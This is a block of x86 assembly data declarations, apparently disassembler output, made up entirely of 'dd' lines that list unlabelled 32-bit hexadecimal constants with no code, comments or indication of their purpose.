dd 3A3D4380h, 882FE948h, 4F867950h, 0BE1EB984h, 1F53F244h
dd 659672FCh, 64D1019Eh, 30C9B652h, 0BD803B43h, 654513BAh
dd 0FF80FB7Ah, 3E3CB4F5h, 0E90B5EBBh, 9BD7E2D2h, 0D49DC9B0h
dd 0FCD24C33h, 5BB4A65Ch, 8621FAECh, 10C26EAFh, 695AAAE9h
dd 4060AD8Ch, 4103BF2Dh, 8175DB5Bh, 186CE1F7h, 3BCAC0C6h
dd 58703D60h, 0ED16F21Ah, 0DA0C8423h, 8FF13D5Ch, 0DE9789FDh
dd 193E88A4h, 0B5F6183Dh, 8861B315h, 57813C1Fh, 2C2E78ECh
dd 8F75D20h, 500CC91h, 32BA1C34h, 568D092Dh, 96F06F72h
dd 0E6951375h, 0B65B0312h, 4DCE80F2h, 0FE2EF698h, 0EEE9C609h
dd 0C4EE7C46h, 0AADD94CAh, 0AF53804Bh, 4FBF3298h, 0FE533B8Ah
dd 0AF484B72h, 0AC24B2F3h, 0F8BBD784h, 481F4BCh, 167A25E9h
dd 4E03BEEEh, 835AD128h, 292CE9CBh, 2A57406Eh, 5521AC61h
dd 0A9E6AF8h, 0BD30D727h, 0FE9F5BBCh, 5ABAE06Bh, 2C4CDA30h
dd 16D5385Bh, 7F017D86h, 4620E959h, 9DA35530h, 1B086E79h
dd 8F482733h, 0BE3E7C2Ah, 58D7A521h, 58549D70h, 69E6E9D8h
dd 78541026h, 2E51CA88h, 2A52284h, 311D8BB9h, 2141535Bh
dd 890F968Fh, 380B2DBAh, 91EE4B2Ch, 0DCFE8701h, 91C0B6FCh
dd 4C75EDEBh, 7021B010h, 245E76B4h, 20F9DF01h, 184D9C08h
dd 45BED65Fh, 0F0A25425h, 7B1B9477h, 0A268F9F0h, 329C145Eh
dd 2EE34121h, 693A3CD0h, 0F05D6278h, 0D37509C8h, 0EE2812E7h
dd 0AA174167h, 0A72CD803h, 0ECB27277h, 42247E02h, 4E681C7Fh
dd 5909CB88h, 714C8168h, 0EC79963Ch, 289908FEh, 782C1FF8h
dd 3904E81Dh, 9E7F957Ch, 0EACC2AF2h, 2E3277C4h, 818AE2BBh
dd 650C84C3h, 0F6AA4314h, 15E96B0h, 81CA0EDh, 14828190h
dd 725DE27Dh, 0C0097AEBh, 268ACEFBh, 0D6F62D36h, 0B9CC0D4Bh
dd 0FDA1F456h, 0AF5F2A92h, 0B0A7BBCCh, 20C7AC7Fh, 5964E812h
dd 0F6009560h, 0F4C180D1h, 501CC9FAh, 0E10FDBB4h, 0ADF16558h
dd 0E0E99A03h, 653A5AF0h, 0EBFA0946h, 5425F6DCh, 0D4B9C279h
dd 95BAB805h, 3544AB5Bh, 0C4109A89h, 611CC213h, 19F3297h
dd 88DC01B5h, 41C6BD5Ah, 0DF02C72Dh, 9B4D1916h, 0F36803F7h
dd 0D1147406h, 7732E828h, 4A5A410Bh, 0BBA49D82h, 0A9C3ABA0h
dd 2F484270h, 95B13D6h, 9F13EF0h, 6EDF4FA3h, 4A01C4D4h
dd 0CA015CEEh, 8059961h, 55DA8EAEh, 61EE2A51h, 96C1CAC7h
dd 65ADC775h, 24BA650h, 0E96AEC1Bh, 9855BA6Bh, 256856ABh
dd 0EDC0355h, 9AF0E9F0h, 209F98CCh, 5E9FD0D2h, 77F8C2D2h
dd 546BD059h, 0BBE92D4Eh, 0C1F24FBh, 2EDF5701h, 93E9D321h
dd 55330B7Fh, 319DC6D5h, 0F25C4F29h, 97A90510h, 165AB804h
dd 0CCF2BA21h, 77A3A8D3h, 0E368C341h, 4F5E6809h, 0EE734882h
dd 22905D0Bh, 9C3F2C58h, 9F76123Fh, 4998F6EEh, 78D26064h
dd 0C3225139h, 274CA10Ch, 80E9C1BFh, 29E52069h, 81CF968h
dd 14241C34h, 27AB2011h, 8C255E5Fh, 0BF6A0BF8h, 0A52B1F09h
dd 720BFF02h, 4AA92040h, 0EED08880h, 90923Ch, 40686EBFh
dd 0D833BE54h, 95F9CF26h, 535EB8A0h, 150D22C0h, 34CB260Fh
dd 9D730200h, 0C974F889h, 77094D28h, 0D7309844h, 8816AD8h
dd 63E73B58h, 1E49AE42h, 70A4E45Ah, 83605F58h, 0EA4D1E61h
dd 3086D45Ah, 607CBED5h, 0F6A1C050h, 0DA92B80Bh, 0B22348EEh
dd 0E97FE16Ah, 1F82F5A1h, 77BE4AE6h, 0EC89F65Bh, 516B2753h
dd 9FE3842Bh, 2A46A5AAh, 0D4CE07ABh, 0C329F40Ch, 2DE85FBCh
dd 8C60FDEh, 7D307569h, 0F056ED0h, 38C61F9Bh, 0CF71E917h
dd 0E7D8D73Dh, 0DE6A172Eh, 0A9B20129h, 3A28221Ch, 14E99B02h
dd 0BDB5C625h, 0B800C5C4h, 474D1D07h, 9AC4F9E9h, 0AB40963h
dd 0C18F5AB5h, 40FAD72h, 27450756h, 9065EBC5h, 0EA9691FAh
dd 0F7B46E08h, 0E2C25A4Ch, 76502FB5h, 0C4E3C51Ah, 0C944E98Ch
dd 60107EA9h, 0FB0519B9h
dd 51AC494Ah, 6742D404h, 34980158h, 0D76B0D51h, 0FCE2F12Dh
dd 0DC63D4B7h, 0B5027999h, 600D1808h, 82013EC4h, 22B2C7FFh
dd 0E6077C5Eh, 807A0FB6h, 0E982D141h, 4FC3499h, 0D30762EFh
dd 0BE7C5FFFh, 31417F52h, 0EBA744C0h, 21C61DFDh, 5EB5FCDFh
dd 9DE85A61h, 9A95FB83h, 86E1DE39h, 832BAE68h, 3B769020h
dd 26B9E688h, 0C605C6D9h, 0C058457Bh, 6BB0CE4Fh, 0E92D2CEEh
dd 0FF1C0BD5h, 5F81E46h, 808881B5h, 0E07B46EEh, 34FE6A5h
dd 7072D4E8h, 90619563h, 74B460FFh, 20C9469Fh, 4D98AF65h
dd 31AA3A22h, 6A75618h, 0D73101CDh, 496524DDh, 0CE38EF3Bh
dd 0C7DE6092h, 435138EFh, 0C701621Eh, 68085039h, 1A4F0C27h
dd 8B725F1Fh, 0E5C9FB34h, 0DC1947D3h, 2DC65E0Fh, 0BF070C18h
dd 6D767FC5h, 3F10CA4h, 0C198302Fh, 17262651h, 0FB20E258h
dd 64CF0883h, 0E32AD590h, 0E8DC506Eh, 282F7A98h, 0A0AE590h
dd 617BF591h, 9114D259h, 0C75018F5h, 0F9050CDBh, 1AB04828h
dd 15232981h, 4AB60580h, 1144BDDh, 4A072DF8h, 47349DEEh
dd 11C44B27h, 38541CF0h, 4658B5D4h, 0C309DEBCh, 889CFF20h
dd 3B8754Eh, 1CE1FEA5h, 0E163B93Bh, 176B47E9h, 9DAFE7D1h
dd 0EAB01152h, 0B05B04Bh, 162502D5h, 0D20052D1h, 0E995AFB4h
dd 4B629708h, 0D777E2DDh, 0C1050A91h, 629CD40h, 0F6FC9746h
dd 0F0BF0C34h, 0F130E902h, 564D6A62h, 0A973BEh, 0EE811727h
dd 64703405h, 0EB670CC0h, 5BE99AA7h, 0AF6F1268h, 5AEB6ED8h
dd 0CB18ED26h, 1EB9F329h, 272F5CE9h, 5C209ADFh, 5B974065h
dd 0E9124DB8h, 96E2F957h, 0E657C669h, 0E6265FB4h, 17B89308h
dd 3FD468A1h, 0C1ABEE35h, 2D454371h, 0B7B95B7Fh, 9F1CD048h
dd 0E94E822Ah, 73CC66EFh, 0AC207A1Ch, 1BD9B5BEh, 84B76283h
dd 3B38BB00h, 54F40BCBh, 0F38214BAh, 5CC0F753h, 18A4B951h
dd 2049380Dh, 99015768h, 0E9CF090Eh, 8D6F2BA6h, 1FBC2B75h
dd 0F53DAA5Fh, 6816D23Ch, 82E867EFh, 91983E03h, 0FC4D8CE9h
dd 66F40E9Ch, 0FEE38153h, 0DDE551CBh, 10C0B02Bh, 41817C53h
dd 0A7132AF3h, 0A4A6B2BAh, 5BF3ECA0h, 0F248EC09h, 6AFB7F5Dh
dd 2D13AE68h, 994E17F7h, 2E2C519Eh, 0C2423C19h, 0D4545056h
dd 400F1E53h, 0CF813471h, 0BA2E7E0Dh, 0B1D0E2Eh, 8905FB96h
dd 7FAC5FF8h, 5C2DAE4Ah, 20A57041h, 0C49262BAh, 288109DBh
dd 0D5FD4E02h, 1CAB7F0Bh, 0B0F8CEDAh, 95585282h, 0A4C926FDh
dd 1DBA4C41h, 0F70B157Dh, 804876D2h, 0CA686F03h, 0AAD0407Ah
dd 29099BF4h, 7443CCE9h, 0F95E968Dh, 5E813E69h, 0AFB38542h
dd 4A417D08h, 5F9B283Fh, 72D033F2h, 14B4ABA5h, 0CB7B020Fh
dd 9E52E907h, 3A891CCAh, 77C96ED1h, 0F2BC494Eh, 33CAE985h
dd 0B3D1CC65h, 0CBBBA844h, 0C7428E25h, 50A7077Fh, 0C82645F2h
dd 3D3D8C51h, 1D121ED3h, 0F1D74031h, 697F423Fh, 0C1048ABAh
dd 19D7C0EEh, 12DFE580h, 0E05D5FEFh, 8A1C3D5h, 3B1E8059h
dd 170E73Ch, 80182D3h, 6E1FD2E9h, 3508D240h, 2FDC4F27h
dd 965D319Bh, 0C5CE01A6h, 87751062h, 71CFC9FEh, 1008B4C3h
dd 0B802498Bh, 8AC1BD22h, 2125387Dh, 26A3B3F0h, 0BBD513FFh
dd 15A74CAh, 964EDEACh, 99E97A51h, 6C4DF901h, 21CD016Ah
dd 0F808141Fh, 670D7913h, 0DE3C207Eh, 0ECEAEC04h, 26E64B94h
dd 1317E25Bh, 70C2DA52h, 267BDF74h, 729906A4h, 40725C45h
dd 0AC05D401h, 28F10928h, 3E1B02Fh, 1AE93E41h, 7FD3B6Ah
dd 22F07AC3h, 5DC0FD01h, 270437B0h, 485E92Fh, 5D7647EBh
dd 1F5C99C1h, 0AD253710h, 773916F8h, 0A32D83E2h, 0A83DBE0Ah
dd 58F750C9h, 5281F4Ch, 1143EB07h, 76D9D85Ah, 0EC7B5E96h
dd 0EE11787h, 3330B9D0h, 56070BAAh, 22F7C689h, 0E599C2Dh
dd 685350C0h, 9D121EE5h, 0A7EF5B5Dh, 1DE335E1h, 0A413C4C4h
dd 6643D18Ch, 0C0452A72h, 5D271C05h, 0E742316Dh, 43BF4BC5h
dd 44F5B073h, 36752577h, 0E07F45F8h, 65426880h, 0D26E4F49h
dd 79D65CAAh, 1DA7EF50h, 814DE054h, 2503F5C7h, 6F503F35h
dd 40274808h, 0C55EE914h, 0D9582709h, 0F4933DAAh, 9937B5BFh
dd 127C5715h, 0AFEEF592h, 95FE97E4h, 19D8C50h, 3E5C049h
dd 0F518826Fh, 2C9EEF41h, 29AF4A7Bh, 0F55DAF27h, 0EA55D738h
dd 0B264DBBDh, 0A0E4916h, 1A0955D8h, 8CE27192h, 876EEB65h
dd 7430F27Fh, 0B6521EFAh, 530D9D7Ah, 7E9DF49Ch, 854B5695h
dd 0F87A8D68h, 0E314DD1Ah, 0BB005D8h, 0C0BB7CE4h, 18E905D5h
dd 97ABD097h, 0D8B46EA3h, 0D729721Fh, 0D61FD5CBh, 1027EAAEh
dd 0F4592FB4h, 0A2D52539h, 57387518h, 9FE0DCF4h, 9079165Ch
dd 754D090Ch, 388B0E9Bh, 8AA31658h, 66F0F75Eh, 0F260BDAh
dd 0E104FA29h, 52E61658h, 70212861h, 71A07EE5h, 9511036Dh
dd 5FDBE96Eh, 2D68CF3Ah, 1A3CF97Dh, 0E202CB32h, 815EDE49h
dd 437605E0h, 0DA065897h, 6848C29Ch, 0EAD6471Ah, 88263161h
dd 0AD84420h, 8BC3095Bh, 0BC844E8h, 1EA5DE5Ah, 0A05E8BC2h
dd 0DA08A448h, 0E01A2A25h, 97D33125h, 7C9D8A16h, 0FAE85AEAh
dd 50D62F85h, 4AF38BAAh, 68DDCCBBh, 1363C427h, 7F09C1C6h
dd 412DBC24h, 5D34E876h, 0C40153BDh, 0B504A251h, 2D04A7ABh
dd 4E0FE84Dh, 6766B726h, 89E0A42Dh, 2387D4EAh, 0AA559678h
dd 2B4D57DEh, 0D9CD9C4Eh, 70B31740h, 0D3DA7C7Ch, 0E538BA5Dh
dd 885C8802h, 0EB3088C0h, 4B2C5966h, 74B8B84Ah, 773246B8h
dd 5D32CB9Eh, 0A68E8F71h, 8028CB2Fh, 850C8CCFh, 7A429736h
dd 0FFB96875h, 498282FEh, 0C6130E42h, 42024BE3h, 1699E904h
dd 3A08520Ah, 7DB28E1h, 38697D4Bh, 13E4C24Ah, 0C11B9377h
dd 0D57318CFh, 516C2778h, 40483A90h, 27D9BB0h, 5D12F85Eh
dd 970B3FEh, 5CFED6BCh, 75494Eh, 0FF241E4h, 0C372844Bh
dd 117A1512h, 85750AEh, 0FA99344Ah, 9F6ED8E0h, 0A4E28F1Bh
dd 86F78100h, 0A8482546h, 0C8605B0Eh, 0B13B142Dh, 0C5B2065Dh
dd 645E2BF0h, 108B080Ch, 0AEF15BF6h, 36A70144h, 3D608DB2h
dd 776CBD55h, 21D4B58h, 0B48898C5h, 0BCE555B2h, 54D40927h
dd 94D16B73h, 13685B04h, 0EECD12AAh, 41D5083Ch, 5FE26EB9h
dd 4003AD10h, 8997A6E1h, 1F06DBD4h, 0D93E7380h, 17C7CAAFh
dd 668AFB5Bh, 2AAEE982h, 0ABFA55h, 69B2F281h, 0D709489Fh
dd 8168559Ch, 0E80F5A00h, 5AEDC151h, 0B03AF805h, 74592131h
dd 1121B058h, 5FFEE754h, 24930C81h, 94039C9h, 4C4EAAF1h
dd 0F7ABA31h, 17622F2Ah, 0E8771EC9h, 27EED2FAh, 9257B85Ah
dd 277BF75Fh, 53BAC197h, 0E7C30811h, 5C4FBB09h, 0EB310B1Eh
dd 2F0C3486h, 5F95C205h, 83E95B40h, 0D5E60841h, 5149931h
dd 0F3AF84EFh, 48B5502Dh, 0F6811B00h, 3D6952ACh, 6BAF2768h
dd 31257D46h, 2077EE8Eh, 5B76D898h, 0E053920h, 355C92B8h
dd 0C4018D5Eh, 9A17EC35h, 7CB84B4Fh, 0E2037F58h, 0E92E685Eh
dd 4710DEAh, 0BB253C44h, 38B2ABA2h, 395121F5h, 0D2C77A76h
dd 0BD897F21h, 0D55A82F1h, 22795FB0h, 0F68D6EB7h, 4082AA37h
dd 2D190695h, 14751209h, 0EEBD4D8Eh, 221BA5Eh, 5600777Dh
dd 58165CBEh, 0B1E5327h, 128E4CC0h, 13AFE781h, 3507210h
dd 6C61D498h, 295C28Ch, 0CF8D0D5h, 7D3C18FCh, 0E24320Ch
dd 4B257008h, 6F22A7DCh, 1D22DD13h, 1F48D0D9h, 652D17B1h
dd 0CB320028h, 0F31E15CAh, 2EEE3D8h, 0E9443F70h, 46F5F0E6h
dd 8051F201h, 0D09DDCB9h
dd 4C9EA372h, 0CD25C6E7h, 51BDA7D5h, 0C814E762h, 2C4E9905h
dd 802B2FDAh, 0F4B4FCCh, 465CE6D1h, 0F47B2DDCh, 9F425AD4h
dd 28D61DDh, 7CDD8205h, 20669FF4h, 50593D2Bh, 3892C83Ch
dd 35C5C923h, 0C9194B68h, 2DEA23D8h, 0FD4FB2AAh, 0A7F92861h
dd 7A97D614h, 9BA31457h, 70C2AFC5h, 0C812A8DEh, 0B55E6B28h
dd 10FEFDF2h, 0F1C84CA3h, 0B3F6EFFFh, 22A7224Fh, 8CB95100h
dd 414F5E2Ah, 4BE1D12Ch, 0DBFB7312h, 7FE918A1h, 0B685311h
dd 55163258h, 3A9B1660h, 485DF72Ch, 0E7A1442Fh, 0E0AEC93Eh
dd 9A96196Bh, 323F0D82h, 0B485511h, 5E8229F5h, 840F1756h
dd 71DDAF3Fh, 6F74AF2Bh, 0A5CEBCBBh, 9065B746h, 59CA3C53h
dd 0FD35B74h, 99EED44h, 1057C272h, 2F94CDFCh, 7660E40Fh
dd 42062154h, 0D2FCE96Dh, 2F2F9836h, 0D9237120h, 0AEE4EBC1h
dd 4BDF6BADh, 0C04B188Dh, 0C4249079h, 0DA5300D2h, 783745Fh
dd 8452D028h, 0FD44AB64h, 38AA0A80h, 650BC149h, 0CA67A923h
dd 580803B1h, 38F92D33h, 305D3C09h, 9F104F62h, 0A426A8E7h
dd 0EA53E544h, 0F406D249h, 685A00A5h, 0BDDFE979h, 3EC44595h
dd 0DC89BF25h, 7502B0DCh, 5D09F26Ah, 9C0226CAh, 665D166Eh
dd 838E2794h, 0D9F9B355h, 514BADA5h, 0BBBB6817h, 0E8BA9A34h
dd 0BDB8A5F8h, 45FA315Ah, 12A851B0h, 0D2A40736h, 3A800EA0h
dd 0D2F389CDh, 1605F704h, 9EC0BC5h, 347869A7h, 53BF6798h
dd 0A0371283h, 0A1929125h, 0F11ED798h, 0E0986A76h, 1ECCFEEDh
dd 8901F480h, 820D7CDh, 14D131C5h, 0EC8904Ah, 0C47BB957h
dd 72FA12C8h, 65FD53C8h, 0AE5B443Ch, 0FEE565B8h, 2E201CA5h
dd 0BA04E52Fh, 0AC5F43A8h, 89635E93h, 0B70F405Fh, 5A909D69h
dd 97F0C9F6h, 0AA2E48CBh, 99049323h, 0B816FFF1h, 0A30DDFECh
dd 162B6D19h, 0DD21FA5Dh, 586B637Ah, 145EC980h, 0F8263A24h
dd 0C5588C9h, 557CE905h, 0E4E788A8h, 290E97Bh, 5318B2C2h
dd 7EA5548h, 7D0A080Bh, 5CF74316h, 77ADAA84h, 14A7C684h
dd 0A2671767h, 0A8200029h, 7C167991h, 5CE13B6Bh, 0E9744505h
dd 4F0FA860h, 68E38BF2h, 80532E92h, 2860133Dh, 0D0F80863h
dd 3D05717Ch, 1D874E9Dh, 84B7912Dh, 9EA2FE8Fh, 0C3B2EBD2h
dd 93D7B2C4h, 61B05258h, 0FC95D328h, 534F00D0h, 0B45030B7h
dd 0D4F62100h, 0E9B0EC80h, 2DD3C01Eh, 0B6DB8B92h, 85F5026h
dd 0C4E30662h, 0C60F20DEh, 9203AA90h, 294A0C65h, 77A0EADDh
dd 0ADE80888h, 0EB1E5567h, 5544A2E2h, 0C2AD9460h, 39C38080h
dd 98C82845h, 112887B5h, 2F2D6109h, 3204E7ACh, 0EA855979h
dd 0E50ACFEDh, 8D25C7Bh, 1326F8ABh, 60FD350Ch, 0BD14F840h
dd 13DFE68Bh, 28A963C2h, 89196B8Dh, 76062AEBh, 5D988EB7h
dd 9C58ED06h, 0B3E3018h, 14E6DBE9h, 32681303h, 0C3D48C36h
dd 8DFF3031h, 2D00F653h, 0B2DFB9Ah, 97DFD84Dh, 980D857Ch
dd 0B96F52CFh, 138F351Ah, 2DB323AEh, 79C0F3ADh, 25DC0834h
dd 0D05A7791h, 75D67F42h, 33FD828Bh, 0C489E307h, 0D196D9FDh
dd 795052C2h, 4DB381ECh, 0F12A0ADEh, 49D6206Fh, 0F521B216h
dd 892DD6E8h, 383EBE11h, 0C24F7F85h, 0E090BCF8h, 387BE4Bh
dd 0FED5EDB1h, 33CACC7Ah, 6FBB0086h, 0E939B15Ah, 0AC99DDA7h
dd 0D0468E3Eh, 6FF5C077h, 0B012E536h, 244BF4F3h, 0D91A44h
dd 30F30F9Eh, 404E1C1h, 0EEAFE949h, 68586F9h, 5120BF2Eh
dd 0F602E6C1h, 0D15A5E95h, 548590Eh, 53CBF10Eh, 0FE728DEBh
dd 33B20770h, 5274B8EAh, 18643A40h, 0A41FBE2Ah, 5F0747B9h
dd 0E9E801A4h, 7F90A9C9h, 6FC11638h, 0E4FD6182h, 2E8B8ED9h
dd 67D437CCh, 5BCCFFDAh, 0F1137625h, 0A1596489h, 6DBE2BBAh
dd 70FB2ACCh, 0E1F766D8h, 0EE0968E6h, 7E1FE928h, 9C5725C7h
dd 8F62998Ah, 2D7866E9h, 53FA2CDh, 0B04FFB8Bh, 925F7482h
dd 0AD31DE3Dh, 949815Bh, 5BD10204h, 2FC220AAh, 8A7BD5ECh
dd 8607E65Eh, 13DEF380h, 0C0052CAFh, 0E908EC06h, 0F02D760Ch
dd 0E728303Ch, 55B66871h, 2ABB2EE1h, 2BCB5E7Ch, 0C8C2800Eh
dd 0EAAEFA0Eh, 301561B2h, 0A7B670D0h, 0B560929Ch, 4E82E98Ch
dd 226CB4A5h, 20717312h, 5C049EE8h, 0E81D7F50h, 46E05AC5h
dd 2A012F34h, 78CB2062h, 2EA05CC6h, 0D40BBB53h, 90662A30h
dd 173AEBF3h, 0B0238ED2h, 57B25D2Ch, 2E44E916h, 576A098Dh
dd 0B1D2AFB0h, 7DFFEA85h, 92E95CF9h, 0E70CDE64h, 9E243FEFh
dd 1209F35Ah, 88BA8FBFh, 0F441B9C8h, 84798E30h, 0A1E00440h
dd 16F19488h, 4F6F0470h, 7B1AC940h, 0C24F70BCh, 0E3D89940h
dd 36184A5Ch, 40E22910h, 0CB033053h, 0B6525966h, 0C0B3D37Ch
dd 0C404EBC0h, 0C7FE0206h, 3DDDAAEEh, 267801BBh, 60B30C2h
dd 46D60AE9h, 7AAEBD04h, 0A2EA362Eh, 8FE5108h, 45908308h
dd 0B518959Eh, 0A0EE0131h, 1D3FBBBCh, 0AE650B76h, 0C41BA080h
dd 0B5479568h, 40F8C241h, 518C0504h, 80FF06D2h, 0D0F704AAh
dd 33B88390h, 3720CA98h, 1AF79556h, 0E8C0F5B3h, 7CE32D68h
dd 4BABD05Dh, 0F25A10A9h, 0F6E90BB5h, 821AEA50h, 55134367h
dd 4DA2C643h, 80CD6275h, 1DDCC728h, 0F26F4BBCh, 9F0800F4h
dd 0CD31A3E5h, 0E20E25E9h, 22258994h, 57FB1209h, 64161131h
dd 5350AD03h, 3BEDE0B8h, 2EB539AFh, 3542F9CBh, 0F8C35F7Dh
dd 409784E4h, 761736B3h, 69CF9A52h, 90888424h, 55D8EE17h
dd 55424041h, 0D26E5296h, 0E029C60Bh, 0B50159D4h, 8127B76Ch
dd 57C0EAEEh, 0EBA28063h, 0BFA5C6FFh, 27A19EC3h, 2A2BFD09h
dd 10684A02h, 0ADBBD149h, 0F03CF9C4h, 0D139AFE9h, 0FFEA9691h
dd 23B63DD1h, 9D2A0365h, 7DB12F9Ah, 4CEC6D30h, 38961FE1h
dd 98C150D1h, 4A5F0DE5h, 6522EB2Ah, 75D792BCh, 0E9131ABEh
dd 0A5B31781h, 8E1E3B13h, 7E6C2D7Fh, 47E961A8h, 0A59D3B9Bh
dd 0EA4B3978h, 6489D6CAh, 0ADD40D63h, 0C8532EEDh, 60B92904h
dd 0A051CDD8h, 5C746BB5h, 5B2E9326h, 0CA09B9A1h, 490FDAF6h
dd 426777C9h, 0FB185527h, 4CBC5BD9h, 7E5336A8h, 5B48E0h
dd 0A5047F46h, 0BCBFE8E9h, 83088E3Eh, 5962BB77h, 0E4C8AF14h
dd 0D9A06377h, 407F0FBBh, 0E38007DCh, 100F2A4Ah, 8B0CF198h
dd 0C54AD77h, 3466175Ch, 52B9086Dh, 0A5E12912h, 581EA86Fh
dd 4511048Fh, 41EA5BEBh, 3D26632Eh, 297706Ah, 0B9DF8BFh
dd 0DCBF18B8h, 8F560B5Dh, 5DEEF7EDh, 7B674371h, 0C053A7Eh
dd 625E2EB9h, 572211C2h, 49F2B346h, 974C34Fh, 85CBBE57h
dd 101BE693h, 0AC5B43C3h, 0E82BA99Eh, 0DEFA43Fh, 2A08ACDDh
dd 50CEEEE0h, 0B04BF8CAh, 0A3784F81h, 4E39499h, 2FB3544Ah
dd 18FBD4EBh, 0BE21C08h, 225F2A25h, 7AA23C2Dh, 405C95D4h
dd 0FE250D24h, 5C5F5AC9h, 4B91137Eh, 0A61A5230h, 0EDC70280h
dd 2A5F347Ch, 8409DB9h, 4C1D25E9h, 1846C2A0h, 78BD0BA6h
dd 7111137Bh, 1081FECCh, 0FE00AF8Ch, 0F81E86CFh, 80C1B753h
dd 0DFF6DBE7h, 0D8CDAD71h, 2A792C01h, 96D5F45Eh, 4C8758F9h
dd 7160050Eh, 33E05491h, 5CF72681h, 0A215130Eh, 59129673h
dd 0A17937FDh, 0E46FA6B7h, 31EB01ADh, 2CF1F527h, 38B98159h
dd 6330144Fh, 30F3405Fh, 1C623FE9h, 3CD2444Ah, 1C3880C1h
dd 17A4FC4Ah, 96BCB311h, 180F68C0h, 0EAA52E99h, 5C0838Bh
dd 204D0E0h, 0D2821A05h, 0C14D415Ch, 0C9D18492h, 9707E0BAh
dd 2C39B6B2h, 68137B99h, 84F82B27h, 0AEB9B3C4h, 0E8022687h
dd 3D4CF659h, 3E4DEC66h
dd 61C2B803h, 0AD2D253Dh, 49C687h, 114550D1h, 0D8210A06h
dd 93806AE9h, 2239FF5Eh, 3B9AE16Ah, 5E68CFCCh, 1C19E4D8h
dd 0BDB1FD9Dh, 6630244Fh, 0B20503B8h, 30DFB39Bh, 980B14A3h
dd 4677FEDEh, 0D3FB801Dh, 0F5F925AFh, 0DF77C057h, 0FFBD7CE9h
dd 0A62BAE3Eh, 34158848h, 51034E35h, 21E9E0B5h, 0C1684716h
dd 0FEB43EE9h, 0C88628A2h, 0EF05AFCDh, 6B132BD4h, 8B750BAh
dd 0F2F65E2Dh, 1688C3h, 40AFEE51h, 0C6016365h, 88DCAF1h
dd 72AC3E0Ch, 20F3680Bh, 0B88158F1h, 1CB00E82h, 4C6EE12Bh
dd 98D68178h, 1B27E9B2h, 1E976D58h, 90599F2Dh, 0C1D8888Ah
dd 1A6BE81Fh, 0D5A90249h, 0AA4F0476h, 0D9374291h, 0FC89EB05h
dd 859FB82Fh, 9400C772h, 0E1F68146h, 2B291621h, 0B16AE4Eh
dd 0C60011BDh, 0B14E85Fh, 62BBF331h, 937BFC25h, 0FD9AC469h
dd 0FA68A0B5h, 0FD2BE15Fh, 0F4A8D254h, 0C028E605h, 68AA822Bh
dd 0F5647480h, 17449E8h, 0D2EEF2B0h, 3B356009h, 156D804Dh
dd 0A0464822h, 97B3D490h, 17BE86D3h, 67B1E4B1h, 0B142173Ah
dd 0AADD3AA2h, 0A58DF93Ah, 5A34E6EFh, 0BD1784A6h, 0C012EC43h
dd 284E7D81h, 484034E9h, 8452B173h, 0FEF4ADA4h, 3B10ADB2h
dd 0CE25009Eh, 53AEC02h, 0EA791335h, 0A920AB47h, 0BF55B5D5h
dd 5C946950h, 801FA2Eh, 4089392Dh, 0D5C3E041h, 586080D1h
dd 684340B4h, 0CC03B82Fh, 101E1A3h, 0BEB145EEh, 0E22A22F1h
dd 5E5AC0C2h, 0D3C909E9h, 6334FEB4h, 0FE91542h, 0FBEDF58Eh
dd 0C20AAB2Fh, 4075629Ch, 526ABFEh, 0E5C1254Eh, 0F5E60104h
dd 70580242h, 0AC401450h, 9B5448F6h, 9379F35Ah, 0E0504D1Eh
dd 0C812085Ah, 6B7F712Fh, 0EB7264A8h, 747244FCh, 6A536681h
dd 0A53D885Fh, 0EB4A1628h, 5CE98A05h, 97FE85B0h, 0C5BFFDA2h
dd 84C2D725h, 86D1FF4Ch, 18B9DD6Fh, 5B20E5C2h, 92C5BF50h
dd 9285CE88h, 74A1AAC3h, 94027FECh, 0A103971Ch, 74AAEDCEh
dd 0CD3880BAh, 4D5B7F6h, 0D001ED73h, 2FE957C5h, 0A198B10Dh
dd 2CB4B2D0h, 899259EBh, 0D35C6C2Dh, 0AEC0E963h, 0BA609F32h
dd 7690F028h, 2943B72Fh, 3ABBF634h, 0D5885A8Dh, 237E9C08h
dd 0E933EE18h, 0F2FC5EE5h, 0E37303ADh, 0E9EE2108h, 93BB91B8h
dd 0D731A484h, 0B5E8065h, 0E75AC094h, 293C37A8h, 0A6895896h
dd 0EB811793h, 0ECAF6DB5h, 5DB674F2h, 96FF8846h, 52DD4940h
dd 6DB00276h, 9CE9C288h, 7D9009F7h, 0B52CC27Bh, 8BEE5F13h
dd 6BB0446h, 0BC07F64h, 0B3457E3h, 534B66BEh, 2D0DCE2Bh
dd 7DA2200Bh, 0BA5095Eh, 5B958703h, 25AFB871h, 52FF5E27h
dd 9A43ABDCh, 0C1850055h, 814515Bh, 0AD98D9F7h, 0B47AB207h
dd 0C08F315Eh, 54E0F181h, 92202F3h, 658CE9CDh, 0E4635FDEh
dd 684CA05Eh, 70970582h, 0C12959B7h, 7BA1477Ah, 0F21C42E2h
dd 78BE3FF6h, 34C0ABA7h, 6F17BDB8h, 52BB1DDEh, 0E96203BAh
dd 0A1043617h, 0BF1403F1h, 21A78582h, 3652B368h, 13A95BA3h
dd 53F75B89h, 7FCE340h, 5B5A182Ch, 0BB60F640h, 323C7F35h
dd 0EA81BE7Ch, 0EC2D50DFh, 39D4B7C2h, 5FEA5BBEh, 7C52645h
dd 69011077h, 3CBF4800h, 69970CD6h, 73ECC5E7h, 0E00E5ADCh
dd 2A6096EFh, 2267EB61h, 0C1160E5h, 1085B15h, 170ED690h
dd 0ED20A955h, 8061CF3h, 8214841Ch, 0C324F720h, 4F40BA5Ch
dd 286B9AEDh, 29555D37h, 497F9E04h, 0CE10EA69h, 0E95D0507h
dd 4A4F83Fh, 0B7AA40D4h, 494A687Dh, 0AA3B512h, 0A9A52297h
dd 372ECEA2h, 25FA9866h, 81FF8F5Ch, 36444A1Ch, 972CD1EDh
dd 0D3D8F61Dh, 0BE79407Ah, 0C4885D6Fh, 0C9F5E1A1h, 2BC0E2EBh
dd 8781EA15h, 0DC5D8205h, 5240F7D4h, 0B0A3B450h, 28850BE0h
dd 0CA7559CCh, 53BDC1C5h, 81FEA014h, 0D520F041h, 0A3E14E12h
dd 75F24EDBh, 16DF2FC4h, 0FB0534BEh, 0CEAE7407h, 5A16FEDBh
dd 4A02AD40h, 0DB5DE93Ah, 0D5B19031h, 69A1EF8Eh, 534B254Fh
dd 595A49F8h, 0BD04FC13h, 2DBBFEE8h, 8D7697E8h, 0BE33D8D8h
dd 0BEE2826Bh, 12600201h, 0DDD70B8Bh, 0D32A741Eh, 0A7145D9Dh
dd 0BD9ACB50h, 9377134Ah, 16FBFDB5h, 509FEE17h, 14FF2C27h
